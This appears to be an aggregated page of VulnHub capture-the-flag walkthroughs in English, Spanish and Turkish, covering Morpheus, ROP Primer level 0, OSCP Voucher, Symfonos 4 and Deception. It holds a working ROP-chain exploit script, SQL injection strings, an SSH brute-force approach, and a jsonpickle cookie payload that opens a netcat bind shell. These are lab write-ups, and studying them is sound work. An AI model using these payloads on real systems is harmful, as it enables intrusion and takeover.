#vulnhub

[c-cracks]

Matrix Breakout: 2 Morpheus

Hello everyone, it's been a while. :)

Haven't been posting much recently as I haven't really done anything noteworthy- I've just been working on methodologies for different types of penetration tests, nothing interesting enough to write about!

However, I have my methodologies largely covered now and so I'll have the time to do things again. There are a few things I want to look into, particularly binary exploit development and OS level security vulnerabilities, but as a bit of a breather I decided to root Morpheus from VulnHub.

It is rated as medium to hard, however I don't feel there's any real difficulty to it at all.

Initial Foothold

Run the standard nmap scans and 3 open ports will be discovered:

Port 22: SSH

Port 80: HTTP

Port 31337: Elite

I began with the web server listening at port 80.

The landing page is the only page offered- directory enumeration isn't possible as requests to pages just time out. However, there is the hint to "Follow the White Rabbit", along with an image of a rabbit on the page. Inspecting the image of the rabbit led to a hint in the image name- p0rt_31337.png. Would never have rooted this machine if I'd known how unrealistic and CTF-like it was. *sigh*

The above is the landing page of the web server listening at port 31337, along with the page's source code. There's a commented out paragraph with a base64 encoded string inside.

The string as it is cannot be decoded, however the part beyond the plus sign can be- it decodes to 'Cypher.matrix'.

This is a file on the web server at port 31337 and visiting it triggers a download. Open the file in a text editor and see this voodoo:

Upon seeing the ciphertext, I was immediately reminded of JSFuck. However, it seemed to include additional characters. It took me a little while of looking around before I came across this cipher identifier.

I'd never heard of Brainfuck, but I was confident this was going to be the in-use encryption cipher due to the similarity in name to JSFuck. So, I brainfucked the cipher and voila, plaintext. :P

Here, we are given a username and a majority of the password for accessing SSH apart from the last two character that were 'forgotten'.

I used this as an excuse to use some Python- it's been a while and it was a simple script to create. I used the itertools and string modules.

The script generates a password file with the base password 'k1ll0r' along with every possible 2-character combination appended. I simply piped the output into a text file and then ran hydra.

The password is eventually revealed to be 'k1ll0r7n'. Surely enough this grants access to SSH; we are put into an rbash shell with no other shells immediately available. It didn't take me long to discover how to bypass this- I searched 'rbash escape' and came across this helpful cheatsheet from PSJoshi. Surely enough, the first suggested command worked:

The t flag is used to force tty allocation, needed for programs that require user input. The "bash --noprofile" argument will cause bash to be run; it will be in the exec channel rather than the shell channel, thus the need to force tty allocation.

Privilege Escalation

With access to Bash commands now, it is revealed that we have sudo access to everything, making privilege escalation trivial- the same rbash shell is created, but this time bash is directly available.

Thoughts

I did enjoy working on Morpheus- the CTF element of it was fun, and I've never came across rbash before so that was new.

However, it certainly did not live up to the given rating of medium to hard. I'm honestly not sure why it was given such a high rating as the decoding and decryption elements are trivial to overcome if you have a foundational knowledge of hacking and there is alot of information on bypassing rbash.

It also wasn't realistic in any way, really, and the skills required are not going to be quite as relevant in real-world penetration testing (except from the decoding element!)

[xpnsec]

ROP Primer - Walkthrough of Level 0

I recently found Vulnhub ROP Primer, which is a brilliant playground for refreshing your Linux ROP skills. To try and share some of the techniques I used to solve these challenges, I'm completing a series of writeups detailing the steps to solve each level.

In typical Vulnhub style we start with a virtual machine which runs a number of services alongside a HTTP server documenting the 3 levels of difficulty. This post will be looking at Level 0, with the other 2 levels to follow.

The level starts simple, with the following C source being provided:

#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv, char **argp) { char name[32]; printf("[+] ROP tutorial level0\n"); printf("[+] What's your name? "); gets(name); printf("[+] Bet you can't ROP me, %s!\n", name); return 0; }

You should be able to see the overflow vulnerability, in that the "gets()" call is unsafe and will allow input to overrun the "name[32]" array.

Loading the binary into GDB with Peda, we can use "checksec" to see what obstacles we are going to have to bypass:

In this challenge, we see that the process uses a non-executable stack, meaning we have to use a technique such as ROP to execute our arbitrary code.

Before we get too ahead of ourselves, lets calculate the offsets that we have to use in order to gain control over the instruction pointer. Using Peda's "pattern_generate" tool, we pass the crafted pattern to the application and quickly see that to overwrite the EIP register, we need to pass 44 bytes, followed by 4 bytes which will be set within EIP:

We can verify this with a simple python command:

python -c 'print "A" * 44 + "B" * 4' > eip_test.txt gdb ./level0 -ex 'run < eip_test.txt'

As we can see, the crash recorded shows that EIP was overwritten by 0x42424242:

Next we need to decide on a ROP chain that we want to construct. For this challenge, I wanted to use the "mprotect" call to update the stack protection and allow execution. We can easily find the address using GDB's print command:

p mprotect $1 = {<text variable, no debug info>} 0x80523e0 <mprotect>

We will also need a "pop3ret" gadget, which can be found with Peda's "ropgadget" function:

Now we have a few of the pieces for our ROP chain, lets start crafting. Looking at the mprotect manpage, we an see that the function has the following signature:

int mprotect(void *addr, size_t len, int prot);

We know that the "addr" argument will be the address of the stack, and that the "len" argument will be the length of memory we want to make executable, but what about the "prot" argument. Again, the manpage shows us that we need to use 3 settings:

PROT_READ The memory can be read. PROT_WRITE The memory can be modified. PROT_EXEC The memory can be executed.

Looking through the various include files used by mprotect, we find the values that we will need:

#define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4

Using a bitwise OR, we now know that 0x1 | 0x2 | 0x4 == 0x7 needs to be passed to the mprotect "prot" argument to make the stack executable.

Let's pause and craft our mprotect rop chain to see if it works. As I'm comfortable with Python, I'll be using that here:

import sys import struct def p(v): return struct.pack('I', v) payload = "A" * 44 payload += p(0x80523e0) # mprotect payload += p(0x42424242) # crash!! payload += p(0xbffdf000) # arg - void* addr payload += p(0x100000) # arg - size_t len payload += p(0x7) # arg - int prot print payload

Now we run this through GDB and see what happens:

python level0_stage1.py > rop.txt gdb ./level0 -ex 'run < rop.txt'

Looks good, we have our expected crash at 0x42424242, but what about the stack protection:

Brilliant, our stack is now executable!

All that is left to do is to read our shellcode onto the stack, and jump to that address to execute it. To do this, I'll be using the "read" syscall to take shellcode from STDIN and push the code onto the stack, however feel free to use any other technique for this purpose.

Again, let's get the address of the "read" function from our executable:

p read $1 = {<text variable, no debug info>} 0x80517f0 <read>

And the function parameters required for the call:

ssize_t read(int fd, void *buf, size_t count);

For the count parameter, we want to pass enough for our shellcode to be read, I'll be using "200" for this but this will vary depending on your shellcode length.

The "buf" parameter will point to the stack address where your shellcode will be read to. This will also be the address that you will jump to to start execution. Again, I'll be using the start of the stack located at 0xbffdf000 which is now executable.

Finally, the "fd" parameter will be set to STDIN, or 0, to allow our shellcode to be passed from the command line.

One final thing to consider, are the remaining arguments from the mprotect call. In libc, the caller must clean up the arguments passed (unlike Win32 calls, where the function will deal with the cleanup of the stack arguments on the callers behalf). This is where our pop3ret gadget will be used. Rather than returning from mprotect into read, we will return to the pop3ret call which will pop the 3 mprotect arguments from the stack, allowing us to return into the read call with its own set of arguments.

Put together, our final ROP chain looks like this:

import sys import struct def p(v): return struct.pack('I', v) payload = "A" * 44 payload += p(0x80523e0) # mprotect payload += p(0x8048882) # pop3ret payload += p(0xbffdf000) # arg - void* addr payload += p(0x100000) # arg - size_t len payload += p(0x7) # arg - int prot payload += p(0x80517f0) # read payload += p(0xbffdf000) # return address (our shellcode) payload += p(0x00) # arg - int fd payload += p(0xbffdf000) # arg - void *buf payload += p(200) # arg - size_t count print payload

A demo of the final exploit can be found below:

[dallomi]

Kioptrix vs VulnHub explained for beginners. Learn the safer first lab path, what most people miss, and choose your next box wisely today.

Kioptrix Level vs Random VulnHub Boxes: The Smarter First Practice Path

[dallomi]

Kioptrix privilege escalation: avoid 5 brutal time-wasters, spot misconfigs fast, and build an OSCP-ready rhythm. Get the playbook and cut time-to-root today.

Privilege Escalation Patterns Specific to Kioptrix: My 5 Brutal Mistakes (and the Fixes)

[dallomi]

Kioptrix Levels 1–5 guide for busy learners who want a calm, evidence-first workflow—avoid common traps, finish faster, and build OSCP-ready habits. Start Level 1 today.

Kioptrix Levels 1–5: The Brutal Lessons I Learned | Ultimate Guide

[n0ipr0cs]

OSCP Voucher Writeup

Hola a tod@s!

Os traigo el writeup de una máquina de la plataforma vulnhub, se trata de una máquina de nivel fácil, tipo Boot2Root.

Comenzamos a enumerar:

Bien ;) vemos que tenemos el puerto 80,22 y 33060, además en el puerto 80, existe un archivo llamado secret.txt. Bingo! el archivo contiene una cadena codificada en base64, esto pinta a que es una key para autenticarnos via ssh.

Renombramos el .txt a .key, le cambiamos los permisos y nos autenticamos vía ssh con el usuario oscp, si mirais la máquina virtual el usuario se llama así. :p

OK, ya estamos dentro, toca elevar privilegios. Para ello me descargo en la máquina wget LinEnum.sh y correr. Después de varias alertas, nos quedamos con esta:

[+] Possibly interesting SUID files: -rwsr-sr-x 1 root root 1183448 Feb 25 12:03 /usr/bin/bash

Para corroborar lo que encontramos vistamos el site GTFOBins.

Se viene root...

Somos root!

Sigueme en @n0ipr0cs

[c-cracks]

Symfonos 4

 So this is the fifth machine I’ve rooted and I must say it was one of the more enjoyable ones thus far! You can download this here: https://www.vulnhub.com/entry/symfonos-4,347/

Scans

I started by running enum.sh, producing the following results:

From this we can see that there are two services to enumerate- SSH 7.9p1 and Apache/2.4.38. There are also a few publicly known vulnerabilities associated with the Apache server; from my experience it’s worth leaving these as a last resort if manual checks of the website prove unproductive.

Nikto also reveals the presence of a page that our simple directory enumeration failed to spot- atlantis.php (mentioned in robots.txt)

Atlantis & SQL Injection

Upon visiting atlantis, we’re greeted with a simple login page which is revealed to be vulnerable to SQL injection (after some trial and error):

This would roughly resolve to:

SELECT * FROM users WHERE username=‘1′ OR 7941=7941-- ss’

The ‘--’ comments out the rest of the query, making the password value and “ss’” redundant.

After a successful login, we’re greeted with sea.php and a GET query parameter named ‘file’:

I fell down a bit of a rabbit hole here due to my inexperience with web apps and a lack of confidence: I tried for a couple of hours to exploit this when I should have stopped after the first 10 minutes but I convinced myself I was trying to exploit the GET parameter wrongly due to confirming it was in fact interacting with the filesystem (file=poseidon/../hades resulted in information on Hades being returned).

SQLMap

After finally reaching a point where I realized this parameter was not going to get me anywhere, I went back to the SQL injection I had discovered... Perhaps I could find a way to gather the required information this way instead?

Being an SQL noob, I ran some tests with SQLmap (big no-no in OSCP I know; I’ve only ever exploited basic SQL injection thus manual testing would have taken me ages!)

Firstly, I attempted to recover information of the in-use databases:

sqlmap -vvv -u http://192.168.0.23/atlantis.php --forms --dbs

This revealed the presence of 4: information_schema|performance_schema|mysql|db (this would have been a query like ‘show databases;’ or similar.) More importantly, we know that more information can be gathered from SQL injection.

I decided from here to gather information on the current user (root, revealed by something like ‘select user();’) in addition to testing the extent of our privileges by grabbing /etc/hosts.

From here I decided to grab /etc/passwd to enumerate system users, discovering the presence of a user named poseidon.

File grabbing query: username=5265' OR ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(0x2f7661722f7777772f68746d6c2f7365612e706870)) AS NCHAR),0x20)),6,1))>1-- LxQz&password=

While I ran my SSH brute-force tool against poseidon, I proceeded with using SQLmap to exploit the injection, next proceeding to look at files on the web server itself.

Checking atlantis.php revealed database credentials: <?php   define('DB_USERNAME', 'root');   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');

Note: definitely just copy and paste the hex into an encoder as it runs- you find the credentials in 10-20 minutes vs waiting for the whole file to be revealed.

Hmmm... I had a feeling using this password with root wouldn’t work (too easy) so I tried to login to SSH with this password as poseidon which proved successful.

Privesc

Privilege escalation was actually quite simple but it took me a while due to having no experience with JSONpickle and also spending a large amount of time looking for a method other than exploiting a local web server hosted by the root user (I knew this was going to be timely for me but it proved to waste more time looking around.)

After a few hours of trying to exploit the web server directly and thinking the vector was SSTI, I finally had the sense to create a small test program to see for myself what was happening when I performed certain injections:

JSONpickle

#!/usr/bin/env python import jsonpickle import base64

b64=input("b64 str? ")

user = jsonpickle.decode(base64.b64decode(b64)) username = user.username print username

Root

After this, I found the working payload in a matter of half an hour:

cookie:username=eyJweS9vYmplY3QiOiJhcHAuVXNlciIsInVzZXJuYW1lIjoic3MiLCJweS9yZWR1Y2UiOlt7InB5L2Z1bmN0aW9uIjogIm9zLnN5c3RlbSJ9LFsibmMgLXZscCA2NjEgLWUgL2Jpbi9iYXNoIl0sMCwwLDBdfQ==/{"py/object":"app.User","username":"ss","py/reduce":[{"py/function": "os.system"},["nc -vlp 661 -e /bin/bash"],0,0,0]}

This didn’t have to include the username upon review; if it’s ain’t broke don’t fix it. xD

I used Telnet to send GET requests to the root running web server (you can see below how this is done- you just type it manually and double-enter when the relevant lines are complete.)

This opened a Netcat listener on port 661 for the root user, executing /bin/bash upon successful connection... And that’s it really. :)

Definitely has taught me to have a little more confidence in myself- if something hasn’t yielded any results in the first half an hour of testing it, it’s probably not vulnerable to anything- not everything has a complicated hidden method of exploitation.

EDIT: So, that’s not it really... xD my path to root proved to be different to a majority: https://www.hackingarticles.in/symfonos4-vulnhub-walkthrough/

Turns out my instinct was right- I did miss something with the LFI (I had tried to access /etc/passwd and several other files with no luck; accessing ../../../var/log/auth reveals a potential for SSH log poisioning which you use to create a reverse shell and then you can port forward to port 8080...)

[siberguvenlikwebtr]

Makine CTF 101 - Vulnhub : Deception Writeup

Merhabalar bu yazıda başlangıç seviyesindeki bir makineyi çözerek temel makine çözme tekniklerini ve araçları keşfedeceğiz. Tabii ki teknikler ve araçlar makineden makineye değişir ancak bu çözümün temel seviyede makinelerin nasıl çözüldüğüne dair bir giriş niteliğinde olmasını umuyorum, iyi okumalar dilerim. Makineyi https://www.vulnhub.com/entry/haclabs-deception,427/ adresinden indirebilirsiniz. Amacımız "Deception" makinesinde gizlenen 3 bayrağı bulmak. İlk adım hedef hakkında bilgi toplamak. Bu aşamada netdiscover aracını kullanacağız. Netdiscover, ağdaki cihazları tespit etmek için kullanılan bir keşif aracıdır. Komut satırına netdiscover yazarak çalıştırıyoruz.

Hedefin IP adresini 192.168.1.106 olarak bulduk. Bilgi toplama işlemimiz daha bitmedi. Adresi bulduktan sonra sırada adresteki açık portları ve çalışan servisleri öğrenmek var. Adresteki açık portlar ve çalışan servisler bizlere o adresteki güvenlik risklerini tespit etmemizde işe yarar. Riskleri değerlendirip zafiyeti en yüksek seviyede olan servisi tespit etmek sızma sürecinin bir aşamasıdır. Bunun sonucunda makineye sızmaya nereden başlayacağımızı belirleriz. Bu aşamada kullanacağımız araç Nmap. Nmap (network mapper), ağ keşfi ve güvenlik denetimi için kullanılan bir tarayıcıdır. Tarama sırasında hedefe paketler gönderir ve gelen yanıtlar sayesinde hedefin açık portlarını, çalışan servislerini ve sürümlerini ve işletim sistemi gibi bilgileri analiz edip önümüze sunar. Kullanımı nmap şeklindedir. Şimdi makinemiz üzerinde kullanalım:

"-sV" parametresini açık portlardaki servislerin neler olduğunu ve bu sürümlerini öğrenmek için kullandık. Görüldüğü üzere 22 ve 80 olmak üzere 2 port açık durumda. 80 portunda bir apache web sunucusunun çalıştığı gözüküyor. Adresi tarayıcıda deniyoruz.

Apache2'nin varsayılan sayfası bizi karşıladı. Bu sunucunun arkasında bir şeyler var ancak şu anlık tarayıcıda göremediğimiz için terminale geri dönüp “enumerating” aşamasına geçiyoruz. Bunun tam olarak Türkçe karşılığını bilmiyorum ama sıralamak, ortaya çıkarmak da diyebiliriz. DIRB aracını kullanacağız. Bu araç web sunucusuna içinde barındırdığı kelime listesi ile saldırı yapar ve gelen yanıtlara göre web sitesindeki dizinleri açığa çıkarır.

Aşina olduğumuz iki sayfa ile karşılaşıyoruz. "wordpress" ve "wordpress/robots.txt". Wordpress dizinini tarayıcıda açıyoruz ve sıradan bir sayfayla bizi karşılıyor. Sırada bu wordpress sitesinin içindeki zafiyetleri ve kullanıcıları keşfetmek var. Bunu çok bilinen bir wordpress zafiyet tarayıcısı olan WPscan’i kullanarak gerçekleştireceğiz.

--enumerate u parametresini kullanıcıları açığa çıkarmak için kullandık ve 2 kullanıcı ismi ortaya çıktı. Bu kullanıcı isimleri bir kenarda dursun ve şimdi de daha önce karşılaştığımız robots.txt sayfasını inceleyelim.

ve izin verilen robots.html sayfasına giriyoruz.

Örnek olarak kendi ismimizi yazıp butona tıklıyoruz.

Butundan bir şey elde edemedik. Sayfa kaynağına bakıyoruz.

admindelete.html adlı sayfaya giriyoruz.

Karşımıza çıkan sayfanın kaynak koduna bakınca hiçbir ipucu ile karşılaşmıyoruz ancak bize ipucuyu zaten gözümüzün önüne koymuş. Biraz deneme yanılma yoluyla hint.html sayfasını keşfediyoruz.

"İpucu: Anasayfadaki API tokenlerini topla." Anasayfaya dönüp kaynak kodundan bütün API tokenleri topluyoruz.

Sırayla bütün tokenleri birleştirince 5F4DCC3B5AA765D61D8327DEB882CF99 değerini elde ediyoruz. Değeri tarayıcıda deniyoruz.

shell'e ulaşmanın başka bir yolu. Bu ipucu bize ssh kullanarak sunucuya bağlanmamızı söylüyor. wpscan'da keşfettiğimiz kullanıcı adlarını deniyoruz ve yash kullanıcısının parolasının birleştirdiğimiz tokenler olduğunu keşfediyoruz.

yash kullanıcı adıyla makineye giriş yaptık. Bundan sonraki aşamalarda sadece temel linux komutlarını kullanıyoruz. ls -la komutuyla dosya ve klasörleri gizli olanlarla birlikte listeliyoruz ve cat komutuyla flag1.txt yi okutup ilk bayrağımıza ulaşıyoruz.

Dosyalara göz atarken .systemlogs içinde birkaç ipucuya ulaşıyoruz.

haclabs A=123456789 +A sonucu haclabs987654321 değerini çıkarıyoruz ve bu değeri daha önce wpscan'de bulduğumuz haclabs kullanıcı adıyla ssh bağlantısı gerçekleştiriyoruz. cd komutuyla /home/haclabs dizinine gelip ls ile dosya ve klasörleri listeliyoruz ve 2.  bayrağımızı da cat komutuyla buluyoruz (base64 ile şifrelenmiş bir küme).

Dizinde bulunan gen.py ve haclabs.py dosyalarını da inceliyoruz. gen.py'ye ilgimizi çeken bir şey çıkmıyor ancak haclabs.py'deki changetheworld yazısı dikkatimizi çekiyor.

Bu yazıyı "su root" komutunda deniyoruz ve makineye root olarak erişimi kazanıyoruz.

/root klasörüne gelip deception adlı dosyadan 3. ve son bayrağımızı da buluyoruz.

Çözüm buraya kadardı, faydalı olması dileğiyle..   Read the full article